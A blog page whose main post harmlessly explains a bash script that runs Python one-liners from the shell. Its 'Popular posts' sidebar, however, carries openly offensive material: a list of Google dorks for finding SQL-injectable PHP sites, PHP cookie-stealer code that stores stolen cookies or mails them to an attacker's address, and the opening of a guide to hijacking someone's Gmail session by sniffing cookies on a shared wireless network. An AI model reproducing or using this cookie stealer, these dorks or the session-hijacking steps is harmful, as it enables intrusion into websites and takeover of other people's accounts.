Skip to main content

Run python commands from a bash shell

In this post I am going to show you how you can run python commands from inside a shell. There are already a few ways of doing so


  • Write your python code in a .py file and run "python yourfile.py"
  • Open up IDLE shell by just typing "python" and writing your command in that shell.
There is also another option of python command -

$ python -c 'your_command_here' 

which will run the python command you specify in quotes.

However, the problem with above mentioned methods is, they are time consuming. If you want to quickly perform a list comprehension or anything equivalent in python, you have to either write a script or manually open a python interactive terminal and write your command there.
I am going to show you a little tweak you can do in your shell to execute python code (or parts of it) directly from command line. It works as below -

$ p '<your_python_code_here>'

You type "p" followed by the python statement you want to execute in quotes. For example,

trivendra-MacBook-Pro: ~ $p "[x**2 for x in range(1,11)]" 
[1, 4, 9, 16, 25, 36, 49, 64, 81, 100]

Follow the steps below to add this tweak in your shell.
  • Open a terminal and go to your home directory.
  • Create a directory called bin (~/bin) and inside this directory, create a script called "p" (or you can give it any name you like)
  • Copy the following snippet in this script:
#!/bin/bash 

python -c "print $1"

  • Pretty straightforward. Give execute permissions to this script: 

$ chmod +x ~/bin/p

  • Now you need to add this little script to your PATH variable such that shell can find it. To make your shell be able to find this little command, edit the bashrc file (~/.bashrc) to add the following line :
export PATH=$PATH:~/bin
  • On some distributions, the name of .bashrc file might be different. (for example, on my Mac OS X, I had to edit .bash_profile file for these changes to take effect.)
  • After you have added above entry, you may need to restart the terminal.
  • Now that we have added this little tweak, type the following command to test it.

$p 2+3

This should show you the result i.e. 5. To run regular python commands, you need to enclose them in double quotes to prevent the shell from interpreting them.

$p "<your_python_command_here>"

Now you can try putting advanced python commands in there.
This little script "p" that we wrote doesn't actually support advanced python features which python interactive shell offers. You can modify this script to the following :

#!/bin/bash 

echo "import os; 

os.system(\"clear\") 


$1" > tempfile

python -i < tempfile

This is a little more sophisticated version of our script. It starts the python interactive shell, clears the screen (such that the initial version information that gets printed is wiped out), executes the command we passed in this interactive shell and exits.

This can be useful in that you can pass shell environment variables to python, manipulate them in python, and get the result back. For example,


trivendraMacBook-Pro: ~ $mongodbpath=/Users/trivendra/mongodb/mongodb-osx-x86_64-3.2.1/bin-

trivendra-MacBook-Pro: ~ $p "'$mongodbpath'.split('/')"
['', 'Users', 'trivendra', 'mongodb', 'mongodb-osx-x86_64-3.2.1', 'bin']

trivendra-MacBook-Pro: ~ $

I honestly don't have further idea about how this can be more useful or how it can be extended further :P If you can think of any improvements for this, please leave a comment below.

Comments

Post a Comment

Popular posts from this blog

Php And Google Dorks 2017

A Dork query, sometimes just referred to as a dork, is a search string that uses advanced search operators to find information that is not readily available on a website. Here is a list of dorks to find SQL injectable websites. Google Dorks trainers.php?id= article.php?ID= play_old.php?id= declaration_more.php?decl_id= Pageid= games.php?id= newsDetail.php?id= staff_id= historialeer.php?num= product-item.php?id= news_view.php?id= humor.php?id= communique_detail.php?id= sem.php3?id= opinions.php?id= spr.php?id= pages.php?id= chappies.php?id= prod_detail.php?id= viewphoto.php?id= view.php?id= website.php?id= hosting_info.php?id= gery.php?id= detail.php?ID= publications.php?id= Productinfo.php?id= releases.php?id= ray.php?id= produit.php?id= pop.php?id= shopping.php?id= productdetail.php?id= post.php?id= section.php?id= theme.php?id= page.php?id= shredder-categories.php?id= product_ranges_view.php?ID= shop_category.php?id= channel_id=...

Create cookie stealer in PHP? get via email

<?php     $cookie = $HTTP_GET_VARS[“cookie”];     $steal = fopen(“cookiefile.txt”, “a”);     fwrite($steal, $cookie .”\n”);     fclose($steal);     ?> $cookie = $HTTP_GET_VARS[“cookie”]; steal the cookie from the current url(stealer.php?cookie=x)and store the cookies in $cookie variable. $steal = fopen(“cookiefile.txt”, “a”); This open the cookiefile in append mode so that we can append the stolen cookie. fwrite($steal, $cookie .”\n”); This will store the stolen cookie inside the file. fclose($steal); close the opened file. Another version: Sends cookies to the hacker mail     <?php     $cookie = $HTTP_GET_VARS[“cookie”]; mail(“hackerid@mailprovider.com”, “Stolen Cookies”, $cookie);     ?> The above code will mail the cookies to hacker mail using the PHP() mail function with subject “Stolen cookies”. Third Version <?php     function GetIP()   ...

Hack A Gmail Account using Packet Sniffer

Whenever someone logs into Gmail (or any other login service), a file called a "cookie" is sent to their computer. This cookie allows the user to stay logged in, even if they leave Gmail. A packet sniffer can find cookies being transferred over a wireless network. When you find a Gmail cookie, you can open it on your computer and potentially access your target's inbox. You'll need to be connected to the same wireless network as your target. Requirement 1. Wireshark 2. Cookie Cadger. Download and install Wireshark. Wireshark is a free network monitoring utility that you can download from wireshark.org. It is available for Windows, Mac, and Linux. Installing Wireshark is a straightforward process. Follow the prompts like you would with most programs. Download Cookie Cadger. This is a Java program that will will find and intercept cookies being sent across the wireless network. Cookie Cadger doesn't need to be installed. It works the same in ...